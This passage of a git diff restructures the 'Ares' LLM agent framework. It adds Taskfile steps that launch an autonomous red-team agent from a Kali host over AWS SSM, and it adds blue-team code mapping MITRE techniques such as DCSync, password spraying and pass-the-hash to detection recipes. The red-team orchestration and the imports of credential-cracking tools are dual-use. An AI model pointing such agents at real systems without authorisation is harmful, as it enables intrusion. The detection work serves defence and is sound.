"infrastructure"}}' + REGION: '{{.REGION | default "us-west-2"}}' + cmds: + - | + if [ ! -f .env ]; then + echo "Error: .env file not found" + exit 1 + fi + + set -a + . ./.env + set +a + + uv run python -m ares \ + --args.model {{.MODEL}} \ + --args.grafana-url {{.GRAFANA_URL}} \ + --args.poll-interval {{.POLL_INTERVAL}} \ + --args.max-steps {{.MAX_STEPS}} \ + --args.report-dir {{.REPORT_DIR}} \ + --dn-args.server {{.DREADNODE_SERVER}} \ + --dn-args.organization {{.DREADNODE_ORGANIZATION}} \ + --dn-args.workspace {{.DREADNODE_WORKSPACE}} \ + --dn-args.project {{.DREADNODE_PROJECT}} + + ares:blue:local:once: + desc: Run blue team agent once and exit using .env file (no 1Password) + deps: + - task: check-aws-auth + vars: + PROFILE: '{{.PROFILE | default "infrastructure"}}' + REGION: '{{.REGION | default "us-west-2"}}' cmds: - | if [ ! -f .env ]; then @@ -186,6 +251,7 @@ tasks: --args.poll-interval {{.POLL_INTERVAL}} \ --args.max-steps {{.MAX_STEPS}} \ --args.report-dir {{.REPORT_DIR}} \ + --args.once \ --dn-args.server {{.DREADNODE_SERVER}} \ --dn-args.organization {{.DREADNODE_ORGANIZATION}} \ --dn-args.workspace {{.DREADNODE_WORKSPACE}} \ @@ -200,6 +266,11 @@ tasks: msg: "ALERT variable is required. Usage: task ares:investigate ALERT=alert.json" - sh: test -f "{{.ALERT}}" msg: "Alert file not found: {{.ALERT}}" + deps: + - task: check-aws-auth + vars: + PROFILE: '{{.PROFILE | default "infrastructure"}}' + REGION: '{{.REGION | default "us-west-2"}}' cmds: - | export DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal) @@ -375,14 +446,48 @@ tasks: # Ares Red Team Agent Tasks # =========================================================================== + check-aws-auth: + internal: true + vars: + PROFILE: '{{.PROFILE | default "lab"}}' + REGION: '{{.REGION | default "us-west-2"}}' + cmds: + - | + # Check if AWS CLI is installed + if ! command -v aws >/dev/null 2>&1; then + echo "āŒ Error: AWS CLI is not installed" + echo "" + echo "The red team orchestration tasks require AWS CLI to access the infrastructure account." + echo "Install it from: https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html" + exit 1 + fi + + # Check if credentials are configured and valid for the profile + if ! aws sts get-caller-identity --profile "{{.PROFILE}}" --region "{{.REGION}}" >/dev/null 2>&1; then + echo "āŒ Error: AWS authentication failed for profile '{{.PROFILE}}'" + echo "" + echo "You need to authenticate to the infrastructure account before running this task." + echo "" + echo "Troubleshooting:" + echo " 1. Verify your AWS credentials are configured: aws configure --profile {{.PROFILE}}" + echo " 2. If using SSO, authenticate: aws sso login --profile {{.PROFILE}}" + echo " 3. Check your profile exists: aws configure list --profile {{.PROFILE}}" + echo " 4. Verify your credentials are not expired" + exit 1 + fi + + # Success - show caller identity + echo "āœ… AWS authentication verified" + aws sts get-caller-identity --profile "{{.PROFILE}}" --region "{{.REGION}}" --output table + ares:red: - desc: "Run red team agent against a target (usage: task ares:red TARGET=192.168.1.100)" + desc: "Run red team agent against a target (usage: task ares:red TARGET=dreadgoad)" vars: TARGET: '{{.TARGET | default ""}}' REDTEAM_PROJECT: '{{.REDTEAM_PROJECT | default "ares-redteam"}}' preconditions: - sh: test -n "{{.TARGET}}" - msg: "TARGET variable is required. Usage: task ares:red TARGET=192.168.1.100" + msg: "TARGET variable is required. Usage: task ares:red TARGET=dreadgoad" cmds: - | export OPENAI_API_KEY=$(op item get "Openai" --fields dreadnode-api-key --reveal 2>/dev/null) @@ -436,6 +541,11 @@ tasks: PROFILE: '{{.PROFILE | default "lab"}}' REGION: '{{.REGION | default "us-west-2"}}' REDTEAM_PROJECT: '{{.REDTEAM_PROJECT | default "ares-redteam"}}' + deps: + - task: check-aws-auth + vars: + PROFILE: '{{.PROFILE}}' + REGION: '{{.REGION}}' cmds: - | TARGET_IPS=$(aws ec2 describe-instances \ @@ -468,6 +578,7 @@ tasks: echo "Kali instance: $SSM_INSTANCE_ID" OPENAI_API_KEY=$(op item get "Openai" --fields dreadnode-api-key --reveal 2>/dev/null) + ANTHROPIC_API_KEY=$(op item get "claude.ai" --fields dreadnode-api-key --reveal 2>/dev/null) DREADNODE_API_KEY=$(op item get "Dreadnode Dev Platform" --fields api-key --reveal 2>/dev/null || echo "") ARES_DIR="$(pwd)" @@ -481,7 +592,6 @@ tasks: --exclude='*.pyc' \ --exclude='__pycache__' \ --exclude='.git' \ - --exclude="$(basename "$ARES_DIR")/reports/*" \ "$(basename "$ARES_DIR")" aws s3 cp "/tmp/${TARBALL}" "s3://{{.BUCKET}}/${TARBALL}" --profile "{{.PROFILE}}" --region "{{.REGION}}" @@ -496,6 +606,7 @@ tasks: python3 -m uv sync --no-dev export OPENAI_API_KEY='${OPENAI_API_KEY}' + export ANTHROPIC_API_KEY='${ANTHROPIC_API_KEY}' export DREADNODE_API_KEY='${DREADNODE_API_KEY}' export DREADNODE_SERVER='{{.DREADNODE_SERVER}}' export DREADNODE_ORGANIZATION='{{.DREADNODE_ORGANIZATION}}' @@ -526,5 +637,88 @@ tasks: echo "Command ID: $COMMAND_ID" echo "" - echo "Monitor: ./tail_redteam_log.sh {{.KALI}}" + echo "Monitor: task ares:red:logs KALI={{.KALI}}" echo "Cleanup: aws s3 rm s3://{{.BUCKET}}/${TARBALL} --profile {{.PROFILE}} --region {{.REGION}}" + + ares:red:logs: + desc: "Tail red team agent logs from Kali via SSM (usage: task ares:red:logs [KALI=instance-name] [LINES=100] [FOLLOW=true])" + vars: + KALI: '{{.KALI | default "dev-alpha-operator-range-kali"}}' + LINES: '{{.LINES | default "100"}}' + FOLLOW: '{{.FOLLOW | default "false"}}' + PROFILE: '{{.PROFILE | default "lab"}}' + REGION: '{{.REGION | default "us-west-2"}}' + deps: + - task: check-aws-auth + vars: + PROFILE: '{{.PROFILE}}' + REGION: '{{.REGION}}' + cmds: + - | + SSM_INSTANCE_ID=$(aws ec2 describe-instances \ + --profile "{{.PROFILE}}" \ + --region "{{.REGION}}" \ + --filters "Name=tag:Name,Values={{.KALI}}" "Name=instance-state-name,Values=running" \ + --query 'Reservations[0].Instances[0].InstanceId' \ + --output text) + + if [ "$SSM_INSTANCE_ID" == "None" ] || [ -z "$SSM_INSTANCE_ID" ]; then + echo "āŒ Kali instance not found or not running: {{.KALI}}" + exit 1 + fi + + if [ "{{.FOLLOW}}" = "true" ]; then + echo "šŸ“” Following logs from {{.KALI}} (Press Ctrl+C to stop)" + echo "======================================================================" + echo "" + + while true; do + clear + echo "šŸ• $(date) - Refreshing..." + echo "======================================================================" + + COMMAND_ID=$(aws ssm send-command \ + --profile "{{.PROFILE}}" \ + --region "{{.REGION}}" \ + --instance-ids "$SSM_INSTANCE_ID" \ + --document-name "AWS-RunShellScript" \ + --parameters 'commands=["tail -n 100 /tmp/ares-redteam-output.log 2>/dev/null || echo \"Log file not yet created\""]' \ + --query 'Command.CommandId' \ + --output text) + + sleep 2 + + aws ssm get-command-invocation \ + --profile "{{.PROFILE}}" \ + --region "{{.REGION}}" \ + --command-id "$COMMAND_ID" \ + --instance-id "$SSM_INSTANCE_ID" \ + --query 'StandardOutputContent' \ + --output text + + sleep 3 + done + else + echo "šŸ“‹ Fetching last {{.LINES}} lines from {{.KALI}}..." + echo "======================================================================" + echo "" + + COMMAND_ID=$(aws ssm send-command \ + --profile "{{.PROFILE}}" \ + --region "{{.REGION}}" \ + --instance-ids "$SSM_INSTANCE_ID" \ + --document-name "AWS-RunShellScript" \ + --parameters "commands=[\"tail -n {{.LINES}} /tmp/ares-redteam-output.log 2>/dev/null || echo 'Log file not yet created'\"]" \ + --query 'Command.CommandId' \ + --output text) + + sleep 2 + + aws ssm get-command-invocation \ + --profile "{{.PROFILE}}" \ + --region "{{.REGION}}" \ + --command-id "$COMMAND_ID" \ + --instance-id "$SSM_INSTANCE_ID" \ + --query 'StandardOutputContent' \ + --output text + fi diff --git a/pyproject.toml b/pyproject.toml index 39dd9195..dc4df9df 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,10 +48,10 @@ dev = [ ] [project.scripts] -ares = "src.__main__:run" +ares = "ares.__main__:run" [tool.poetry.plugins."pipx.run"] -ares = 'src.__main__:run' +ares = 'ares.__main__:run' [project.urls] Homepage = "https://github.com/dreadnode/ares" @@ -65,7 +65,7 @@ requires = ["hatchling"] build-backend = "hatchling.build" [tool.hatch.build.targets.wheel] -packages = ["src"] +packages = ["src/ares"] [tool.hatch.build.targets.sdist] include = ["/src", "/tests", "/docs", "/README.md", "/LICENSE"] @@ -76,7 +76,7 @@ include = ["/src", "/tests", "/docs", "/README.md", "/LICENSE"] asyncio_mode = "auto" testpaths = ["tests"] python_files = ["test_*.py"] -addopts = ["--strict-markers", "--cov=src", "--cov-report=term-missing"] +addopts = ["--strict-markers", "--cov=ares", "--cov-report=term-missing"] pythonpath = ["."] markers = [ "slow: marks tests as slow (deselect with '-m \"not slow\"')", diff --git a/src/__init__.py b/src/__init__.py deleted file mode 100644 index 67d90759..00000000 --- a/src/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -"""Ares - Autonomous SOC Investigation Agent.""" - -__version__ = "0.1.0" diff --git a/src/ares/__init__.py b/src/ares/__init__.py new file mode 100644 index 00000000..14c96527 --- /dev/null +++ b/src/ares/__init__.py @@ -0,0 +1,21 @@ +""" +Ares - Autonomous SOC Investigation and Red Team Agent. + +A framework for autonomous security operations using LLM-powered agents. +""" + +__version__ = "0.1.0" + +from ares.agents import InvestigationOrchestrator, RedTeamOrchestrator +from ares.core import InvestigationState, RedTeamState, create_investigation_agent, create_redteam_agent +from ares.integrations import MITREAttackClient + +__all__ = [ + "InvestigationOrchestrator", + "RedTeamOrchestrator", + "InvestigationState", + "RedTeamState", + "MITREAttackClient", + "create_investigation_agent", + "create_redteam_agent", +] diff --git a/src/__main__.py b/src/ares/__main__.py similarity index 100% rename from src/__main__.py rename to src/ares/__main__.py diff --git a/src/ares/agents/__init__.py b/src/ares/agents/__init__.py new file mode 100644 index 00000000..7a5f1e05 --- /dev/null +++ b/src/ares/agents/__init__.py @@ -0,0 +1,9 @@ +"""Ares agent orchestrators for blue and red team operations.""" + +from ares.agents.blue.soc_investigator import InvestigationOrchestrator +from ares.agents.red.pentester import RedTeamOrchestrator + +__all__ = [ + "InvestigationOrchestrator", + "RedTeamOrchestrator", +] diff --git a/src/ares/agents/blue/__init__.py b/src/ares/agents/blue/__init__.py new file mode 100644 index 00000000..d219a01a --- /dev/null +++ b/src/ares/agents/blue/__init__.py @@ -0,0 +1,8 @@ +"""Blue team agent orchestrators.""" + +from ares.agents.blue.soc_investigator import InvestigationOrchestrator, build_initial_prompt + +__all__ = [ + "InvestigationOrchestrator", + "build_initial_prompt", +] diff --git a/src/agent.py b/src/ares/agents/blue/soc_investigator.py similarity index 80% rename from src/agent.py rename to src/ares/agents/blue/soc_investigator.py index f9764b40..68a51112 100644 --- a/src/agent.py +++ b/src/ares/agents/blue/soc_investigator.py @@ -5,16 +5,16 @@ """ import uuid -from datetime import datetime, timezone +from datetime import datetime, timedelta, timezone from pathlib import Path import dreadnode as dn from loguru import logger -from .core import create_investigation_agent -from .mitre import MITREAttackClient -from .models import InvestigationState -from .templates import get_template_loader +from ares.core.factories.blue_factory import create_investigation_agent +from ares.integrations.mitre import MITREAttackClient +from ares.core.models import InvestigationState +from ares.core.templates import get_template_loader def build_initial_prompt(alert: dict) -> str: @@ -38,6 +38,22 @@ def build_initial_prompt(alert: dict) -> str: labels = alert.get("labels", {}) annotations = alert.get("annotations", {}) + # Extract MITRE technique from alert if present + mitre_technique = None + for key in ["mitre_technique", "mitre", "technique_id", "technique"]: + if key in labels: + mitre_technique = labels[key] + break + # Also check annotations + if not mitre_technique: + for key in ["mitre_technique", "mitre", "technique_id", "technique"]: + if key in annotations: + mitre_technique = annotations[key] + break + + # Current time for reference + current_time = datetime.now(timezone.utc) + loader = get_template_loader() return loader.render( "agent/initial_alert_prompt.md.jinja", @@ -45,10 +61,14 @@ def build_initial_prompt(alert: dict) -> str: severity=labels.get("severity", "unknown"), instance=labels.get("instance", "unknown"), job=labels.get("job", "unknown"), - starts_at=alert.get("startsAt", datetime.now(timezone.utc).isoformat()), + starts_at=alert.get("startsAt", current_time.isoformat()), summary=annotations.get("summary", "No summary provided"), description=annotations.get("description", "No description provided"), labels=labels, + mitre_technique=mitre_technique, + current_time=current_time.isoformat().replace("+00:00", "Z"), + current_time_minus_1h=(current_time - timedelta(hours=1)).isoformat().replace("+00:00", "Z"), + current_time_minus_2h=(current_time - timedelta(hours=2)).isoformat().replace("+00:00", "Z"), ) @@ -87,7 +107,7 @@ def __init__( async def _ensure_mcp_connection(self) -> None: """Ensure MCP connection is established.""" if self._mcp_client is None: - from .tools import connect_grafana_mcp + from ares.tools.blue.grafana import connect_grafana_mcp try: logger.info("Connecting to Grafana MCP server...") @@ -150,6 +170,19 @@ async def investigate(self, alert: dict) -> dict: alert=alert, ) + # Auto-extract and record MITRE technique from alert + labels = alert.get("labels", {}) + annotations = alert.get("annotations", {}) + for key in ["mitre_technique", "mitre", "technique_id", "technique"]: + if key in labels and labels[key]: + state.identified_techniques.add(labels[key]) + logger.info(f"Auto-recorded MITRE technique from alert: {labels[key]}") + break + if key in annotations and annotations[key]: + state.identified_techniques.add(annotations[key]) + logger.info(f"Auto-recorded MITRE technique from alert: {annotations[key]}") + break + initial_prompt = build_initial_prompt(alert) with dn.run(tags=["soc-investigation", alert_name]): @@ -222,7 +255,7 @@ async def investigate(self, alert: dict) -> dict: def _generate_report(self, state: InvestigationState, _result) -> Path: """Generate the markdown investigation report.""" - from .report import MarkdownReportGenerator + from ares.reports.investigation import MarkdownReportGenerator generator = MarkdownReportGenerator(self.report_dir) return generator.generate(state) diff --git a/src/ares/agents/red/__init__.py b/src/ares/agents/red/__init__.py new file mode 100644 index 00000000..a4348970 --- /dev/null +++ b/src/ares/agents/red/__init__.py @@ -0,0 +1,8 @@ +"""Red team agent orchestrators.""" + +from ares.agents.red.pentester import RedTeamOrchestrator, build_initial_task + +__all__ = [ + "RedTeamOrchestrator", + "build_initial_task", +] diff --git a/src/redteam_agent.py b/src/ares/agents/red/pentester.py similarity index 96% rename from src/redteam_agent.py rename to src/ares/agents/red/pentester.py index d9856a5d..d9d7a265 100644 --- a/src/redteam_agent.py +++ b/src/ares/agents/red/pentester.py @@ -10,11 +10,11 @@ import dreadnode as dn from loguru import logger -from .core.create_redteam import create_redteam_agent -from .mitre import MITREAttackClient -from .models import RedTeamState, Target -from .redteam_report import RedTeamReportGenerator -from .templates import get_template_loader +from ares.core.factories.red_factory import create_redteam_agent +from ares.integrations.mitre import MITREAttackClient +from ares.core.models import RedTeamState, Target +from ares.reports.redteam import RedTeamReportGenerator +from ares.core.templates import get_template_loader def build_initial_task(target_ip: str) -> str: diff --git a/src/ares/core/__init__.py b/src/ares/core/__init__.py new file mode 100644 index 00000000..c28a597c --- /dev/null +++ b/src/ares/core/__init__.py @@ -0,0 +1,13 @@ +"""Core functionality for Ares agents.""" + +from ares.core.factories import create_investigation_agent, create_redteam_agent +from ares.core.models import InvestigationState, RedTeamState +from ares.core.templates import get_template_loader + +__all__ = [ + "create_investigation_agent", + "create_redteam_agent", + "InvestigationState", + "RedTeamState", + "get_template_loader", +] diff --git a/src/engines.py b/src/ares/core/engines.py similarity index 58% rename from src/engines.py rename to src/ares/core/engines.py index 667b0232..a4f4d0d9 100644 --- a/src/engines.py +++ b/src/ares/core/engines.py @@ -4,15 +4,18 @@ These engines generate investigative questions based on: 1. MITRE ATT&CK Navigator: Technique chains, tactical gaps, attack lifecycle 2. Pyramid of Pain Climber: Elevating from trivial IOCs to meaningful TTPs +3. Attack Chain Awareness: Precursor techniques that typically precede detected attacks +4. Detection Recipes: Pattern-based detection for Windows security events """ import uuid from pathlib import Path -from typing import TypedDict +from typing import Any, TypedDict import yaml -from .mitre import MITREAttackClient +from ares.integrations.mitre import MITREAttackClient + from .models import ( InvestigationState, InvestigativeQuestion, @@ -22,6 +25,71 @@ from .templates import get_template_loader +# Type definitions for attack chain data +class PrecursorTechnique(TypedDict): + """A technique that typically precedes another.""" + + technique: str + name: str + relationship: str + relevance: float + rationale: str + + +class WindowsEvent(TypedDict): + """Windows Security Event for detection.""" + + event_id: int + name: str + relevance: float + description: str + query_pattern: str + + +class AttackChainEntry(TypedDict, total=False): + """Attack chain definition for a technique.""" + + name: str + description: str + precursors: list[PrecursorTechnique] + follow_on: list[PrecursorTechnique] + windows_events: list[WindowsEvent] + log_patterns: list[dict[str, str]] + investigation_questions: list[dict[str, Any]] + + +def _load_attack_chains() -> dict[str, AttackChainEntry]: + """Load attack chain definitions from YAML.""" + project_root = Path(__file__).parent.parent.parent.parent + chains_path = project_root / "templates" / "engines" / "attack_chains.yaml" + + if not chains_path.exists(): + return {} + + with chains_path.open() as f: + data = yaml.safe_load(f) + + # Filter out non-technique entries (like document markers) + return {k: v for k, v in data.items() if isinstance(v, dict) and k.startswith("T")} + + +def _load_detection_recipes() -> dict[str, Any]: + """Load detection recipes from YAML.""" + project_root = Path(__file__).parent.parent.parent.parent + recipes_path = project_root / "templates" / "engines" / "detection_recipes.yaml" + + if not recipes_path.exists(): + return {} + + with recipes_path.open() as f: + return yaml.safe_load(f) or {} + + +# Global caches for attack chains and detection recipes +ATTACK_CHAINS: dict[str, AttackChainEntry] = {} +DETECTION_RECIPES: dict[str, Any] = {} + + class ClimbStrategy(TypedDict): """Type definition for pyramid climbing strategies. @@ -46,14 +114,28 @@ class MITRENavigator: 2. Predict follow-on techniques based on attack patterns 3. Identify tactical gaps in the investigation 4. Ensure complete attack lifecycle coverage + 5. Investigate PRECURSOR techniques that typically come BEFORE detected attacks + 6. Apply detection recipes for Windows security event patterns Attributes: mitre: MITREAttackClient instance for technique lookups. + attack_chains: Loaded attack chain definitions. + detection_recipes: Loaded detection recipes. """ def __init__(self, mitre_client: MITREAttackClient): self.mitre = mitre_client + # Load attack chains and detection recipes (lazy load, cached globally) + global ATTACK_CHAINS, DETECTION_RECIPES + if not ATTACK_CHAINS: + ATTACK_CHAINS = _load_attack_chains() + if not DETECTION_RECIPES: + DETECTION_RECIPES = _load_detection_recipes() + + self.attack_chains = ATTACK_CHAINS + self.detection_recipes = DETECTION_RECIPES + def generate_questions( self, state: InvestigationState, @@ -79,13 +161,20 @@ def generate_questions( """ questions = [] - # 1. Follow-on technique questions + # 1. PRECURSOR technique questions (HIGHEST PRIORITY - what came BEFORE?) + # This is critical for understanding the full attack chain + questions.extend(self._generate_precursor_questions(state)) + + # 2. Detection recipe questions (Windows security events) + questions.extend(self._generate_detection_recipe_questions(state)) + + # 3. Follow-on technique questions questions.extend(self._generate_followon_questions(state)) - # 2. Tactical gap questions + # 4. Tactical gap questions questions.extend(self._generate_gap_questions(state)) - # 3. Unmapped evidence questions + # 5. Unmapped evidence questions questions.extend(self._generate_mapping_questions(state)) return questions @@ -218,12 +307,190 @@ def _generate_mapping_questions( return questions + def _generate_precursor_questions( + self, + state: InvestigationState, + ) -> list[InvestigativeQuestion]: + """Generate questions about PRECURSOR techniques. + + This is CRITICAL for understanding the full attack chain. + When we detect a technique like DCSync (T1003.006), we need to + investigate what came BEFORE - enumeration, brute force, share access, etc. + """ + questions = [] + loader = get_template_loader() + + for tech_id in state.identified_techniques: + # Check if we have attack chain data for this technique + chain_data = self.attack_chains.get(tech_id) + if not chain_data: + continue + + precursors = chain_data.get("precursors", []) + windows_events = chain_data.get("windows_events", []) + log_patterns = chain_data.get("log_patterns", []) + investigation_qs = chain_data.get("investigation_questions", []) + + technique = self.mitre.get_technique(tech_id) + tech_name = technique.name if technique else tech_id + + # Generate questions for each precursor technique + for precursor in precursors: + precursor_id = precursor.get("technique", "") + if precursor_id in state.identified_techniques: + continue # Already found this one + + # Format Windows events for this precursor + relevant_events = [ + f"Event {e['event_id']} ({e['name']})" + for e in windows_events + if e.get("relevance", 0) > 0.7 + ][:3] + events_str = ", ".join(relevant_events) if relevant_events else None + + # Format log patterns + patterns_str = None + if log_patterns: + patterns_str = "; ".join([p.get("name", "") for p in log_patterns[:2]]) + + question_text = loader.render( + "engines/mitre_precursor.md.jinja", + detected_technique_id=tech_id, + detected_technique_name=tech_name, + precursor_technique_id=precursor_id, + precursor_technique_name=precursor.get("name", precursor_id), + rationale=precursor.get("rationale", ""), + windows_events=events_str, + log_patterns=patterns_str, + ) + + questions.append( + InvestigativeQuestion( + id=f"precursor-{uuid.uuid4().hex[:8]}", + text=question_text, + source=QuestionSource.MITRE_NAVIGATOR, + rationale=f"Precursor to {tech_id}: {precursor.get('rationale', '')}", + target_insight=f"Detect {precursor_id} before {tech_id}", + target_technique=precursor_id, + technique_chain_from=tech_id, + mitre_coverage_score=precursor.get("relevance", 0.8), + confidence_impact_score=0.9, # High priority + pyramid_elevation_score=0.8, # Helps understand TTPs + ) + ) + + # Generate direct investigation questions from attack chain + for inv_q in investigation_qs: + questions.append( + InvestigativeQuestion( + id=f"chain-q-{uuid.uuid4().hex[:8]}", + text=inv_q.get("question", ""), + source=QuestionSource.MITRE_NAVIGATOR, + rationale=f"Attack chain investigation for {tech_id}", + target_insight="Understand full attack chain", + target_technique=inv_q.get("target_technique"), + technique_chain_from=tech_id, + mitre_coverage_score=inv_q.get("priority", 0.8), + confidence_impact_score=0.85, + ) + ) + + return questions + + def _generate_detection_recipe_questions( + self, + state: InvestigationState, + ) -> list[InvestigativeQuestion]: + """Generate questions based on detection recipes. + + Detection recipes provide specific patterns for Windows security events + that should be investigated based on identified techniques. + """ + questions = [] + + # Map technique IDs to recipe names + technique_to_recipe = { + "T1110": "password_spray", + "T1110.003": "password_spray", + "T1110.004": "credential_stuffing", + "T1135": "share_enumeration", + "T1087": "ldap_enumeration", + "T1087.002": "ldap_enumeration", + "T1558.003": "kerberos_attacks", + "T1558.004": "kerberos_attacks", + "T1558.001": "kerberos_attacks", + "T1003.006": "dcsync", + "T1550.002": "pass_the_hash", + "T1046": "service_enumeration", + } + + for tech_id in state.identified_techniques: + recipe_name = technique_to_recipe.get(tech_id) + if not recipe_name: + continue + + recipe = self.detection_recipes.get(recipe_name) + if not recipe: + continue + + # Generate questions based on recipe indicators + indicators = recipe.get("indicators", []) + for indicator in indicators[:3]: # Limit indicators + questions.append( + InvestigativeQuestion( + id=f"recipe-{uuid.uuid4().hex[:8]}", + text=f"Detection recipe for {tech_id}: Check for '{indicator}'. Query Windows security logs for this pattern.", + source=QuestionSource.MITRE_NAVIGATOR, + rationale=f"Detection recipe indicator for {recipe_name}", + target_insight=f"Detect {recipe_name} pattern", + target_technique=tech_id, + mitre_coverage_score=0.85, + confidence_impact_score=0.8, + ) + ) + + # Generate questions based on LogQL queries in recipe + logql_queries = recipe.get("logql_queries", []) + for query_info in logql_queries[:2]: # Limit queries + query_name = query_info.get("name", "") + questions.append( + InvestigativeQuestion( + id=f"recipe-q-{uuid.uuid4().hex[:8]}", + text=f"Execute detection query '{query_name}' to detect {recipe_name}. Use the suggested LogQL pattern from detection recipes.", + source=QuestionSource.MITRE_NAVIGATOR, + rationale=f"LogQL detection query for {recipe_name}", + target_insight=f"Execute {query_name}", + target_technique=tech_id, + mitre_coverage_score=0.80, + confidence_impact_score=0.75, + ) + ) + + # Add investigation steps as questions + steps = recipe.get("investigation_steps", {}) + if isinstance(steps, dict): + for step_num, step_text in list(steps.items())[:3]: + questions.append( + InvestigativeQuestion( + id=f"recipe-step-{uuid.uuid4().hex[:8]}", + text=f"Investigation step {step_num}: {step_text}", + source=QuestionSource.MITRE_NAVIGATOR, + rationale=f"Structured investigation for {recipe_name}", + target_insight=step_text, + target_technique=tech_id, + mitre_coverage_score=0.75, + confidence_impact_score=0.70, + ) + ) + + return questions + # Load Pyramid of Pain climbing strategies from YAML def _load_climb_strategies() -> dict[PyramidLevel, list[ClimbStrategy]]: """Load climb strategies from YAML configuration file.""" - # Get project root (parent of src/) - project_root = Path(__file__).parent.parent + # Get project root (from src/ares/core/engines.py -> ../../..) + project_root = Path(__file__).parent.parent.parent.parent strategies_path = project_root / "templates" / "engines" / "climb_strategies.yaml" with strategies_path.open() as f: diff --git a/src/ares/core/factories/__init__.py b/src/ares/core/factories/__init__.py new file mode 100644 index 00000000..a45a4ff6 --- /dev/null +++ b/src/ares/core/factories/__init__.py @@ -0,0 +1,9 @@ +"""Agent factories for creating configured blue and red team agents.""" + +from ares.core.factories.blue_factory import create_investigation_agent +from ares.core.factories.red_factory import create_redteam_agent + +__all__ = [ + "create_investigation_agent", + "create_redteam_agent", +] diff --git a/src/core/create.py b/src/ares/core/factories/blue_factory.py similarity index 66% rename from src/core/create.py rename to src/ares/core/factories/blue_factory.py index 07f95e4a..af5e278f 100644 --- a/src/core/create.py +++ b/src/ares/core/factories/blue_factory.py @@ -8,27 +8,49 @@ from dreadnode.agent.thread import Thread from loguru import logger -from src.mitre import MITREAttackClient -from src.models import InvestigationState -from src.templates import get_template_loader -from src.tools import ( +from ares.integrations.mitre import MITREAttackClient +from ares.core.models import InvestigationState +from ares.core.templates import get_template_loader +from ares.tools.blue import ( + CompletionTools, GrafanaTools, InvestigationTools, - MITRELookupTools, + LokiTools, QuestionEngineTools, - complete_investigation, escalate_investigation, ) +from ares.tools.shared import MITRELookupTools # Load system instructions from template SYSTEM_INSTRUCTIONS = get_template_loader().render("agent/system_instructions.md.jinja") +# Track consecutive query calls without workflow progress +_consecutive_queries = [] + async def log_tool_usage(event: ToolStart): - """Log tool calls for observability.""" + """Log tool calls for observability and detect loops.""" if hasattr(event, "tool_call") and event.tool_call: - logger.info(f"šŸ”§ Tool call: {event.tool_call.name}") - dn.log_metric(f"tool_{event.tool_call.name}", 1, mode="count") + tool_name = event.tool_call.name + logger.info(f"šŸ”§ Tool call: {tool_name}") + dn.log_metric(f"tool_{tool_name}", 1, mode="count") + + # Track if agent is stuck in query loop + if "query_loki" in tool_name or "query_prometheus" in tool_name: + _consecutive_queries.append(tool_name) + # Keep only last 5 calls + if len(_consecutive_queries) > 5: + _consecutive_queries.pop(0) + + # If last 3 calls are all queries, warn + if len(_consecutive_queries) >= 3 and all( + "query_loki" in t or "query_prometheus" in t for t in _consecutive_queries[-3:] + ): + logger.warning("āš ļø DETECTED QUERY LOOP: 3+ consecutive queries without recording evidence") + logger.warning("Agent should call record_evidence() or get_combined_questions() next") + elif "record_evidence" in tool_name or "get_combined_questions" in tool_name: + # Reset counter when workflow tools are called + _consecutive_queries.clear() async def log_tool_result(event: ToolEnd): @@ -47,8 +69,9 @@ async def log_tool_result(event: ToolEnd): "You seem stuck. Remember:\n" "1. Call get_combined_questions() to get next questions\n" "2. Execute queries in PARALLEL to answer those questions\n" - "3. Record evidence with record_evidence()\n" - "4. When done, call complete_investigation() or escalate_investigation()" + "3. Record evidence with record_evidence() for EVERY finding\n" + "4. When done, call complete_investigation() or escalate_investigation()\n\n" + "If queries return empty results, document that and try broader queries OR move forward." ), ) @@ -91,13 +114,16 @@ def create_investigation_agent( mitre_tools = MITRELookupTools() mitre_tools.set_client(mitre_client) + completion_tools = CompletionTools() + completion_tools.set_state(state) + # Build tool list tools: list = [ grafana_tools, investigation_tools, question_tools, mitre_tools, - complete_investigation, + completion_tools, escalate_investigation, ] diff --git a/src/core/create_redteam.py b/src/ares/core/factories/red_factory.py similarity index 97% rename from src/core/create_redteam.py rename to src/ares/core/factories/red_factory.py index 9703d219..3f2b1818 100644 --- a/src/core/create_redteam.py +++ b/src/ares/core/factories/red_factory.py @@ -16,10 +16,10 @@ from dreadnode.agent.thread import Thread from loguru import logger -from src.mitre import MITREAttackClient -from src.models import RedTeamState -from src.templates import get_template_loader -from src.tools.redteam import ( +from ares.integrations.mitre import MITREAttackClient +from ares.core.models import RedTeamState +from ares.core.templates import get_template_loader +from ares.tools.red.network import ( BloodHoundTools, CertipyTools, CrackingTools, diff --git a/src/models.py b/src/ares/core/models.py similarity index 98% rename from src/models.py rename to src/ares/core/models.py index bfcafd82..1b039b5e 100644 --- a/src/models.py +++ b/src/ares/core/models.py @@ -1,7 +1,7 @@ """Data models for Ares SOC Investigation Agent.""" from dataclasses import dataclass, field -from datetime import datetime +from datetime import datetime, timezone from enum import Enum, IntEnum from typing import Any @@ -179,7 +179,7 @@ class InvestigativeQuestion: urgency_score: float = 0.0 state: QuestionState = QuestionState.PENDING - created_at: datetime = field(default_factory=datetime.utcnow) + created_at: datetime = field(default_factory=lambda: datetime.now(timezone.utc)) answered_at: datetime | None = None generated_from_evidence_ids: list[str] = field(default_factory=list) @@ -260,7 +260,7 @@ class InvestigationState: investigation_id: str alert: dict[str, Any] stage: InvestigationStage = InvestigationStage.TRIAGE - started_at: datetime = field(default_factory=datetime.utcnow) + started_at: datetime = field(default_factory=lambda: datetime.now(timezone.utc)) evidence: list[Evidence] = field(default_factory=list) timeline: list[TimelineEvent] = field(default_factory=list) @@ -404,7 +404,7 @@ class RedTeamState: operation_id: str target: Target completed: bool = False - started_at: datetime = field(default_factory=datetime.utcnow) + started_at: datetime = field(default_factory=lambda: datetime.now(timezone.utc)) stage: InvestigationStage = InvestigationStage.TRIAGE report_summary: str = "" diff --git a/src/templates.py b/src/ares/core/templates.py similarity index 94% rename from src/templates.py rename to src/ares/core/templates.py index 70a356bd..39fb8180 100644 --- a/src/templates.py +++ b/src/ares/core/templates.py @@ -37,8 +37,8 @@ def __init__(self, template_dir: Path | None = None): Defaults to PROJECT_ROOT/templates/. """ if template_dir is None: - # Get project root (parent of src/) - project_root = Path(__file__).parent.parent + # Get project root (from src/ares/core/templates.py -> ../../..) + project_root = Path(__file__).parent.parent.parent.parent template_dir = project_root / "templates" self.template_dir = Path(template_dir) @@ -112,7 +112,7 @@ def get_template_loader() -> TemplateLoader: 